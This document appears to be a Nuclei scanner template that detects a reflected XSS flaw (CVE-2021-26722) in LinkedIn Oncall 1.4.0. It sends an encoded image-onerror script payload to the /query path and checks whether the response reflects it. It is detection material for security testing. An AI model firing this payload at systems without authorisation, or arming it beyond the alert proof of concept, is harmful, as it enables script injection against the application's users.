id: CVE-2021-26722

info:
  name: LinkedIn Oncall 1.4.0 XSS
  author: pikpikcu
  severity: medium
  description: LinkedIn Oncall through 1.4.0 allows reflected XSS via /query because of mishandling of the "No results found for" message in the search bar.
  reference: https://github.com/linkedin/oncall/issues/341
  tags: cve,cve2021,linkedin,xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-26722
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - "{{BaseURL}}/query/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/all"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<img src=x onerror=alert(document.domain)>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header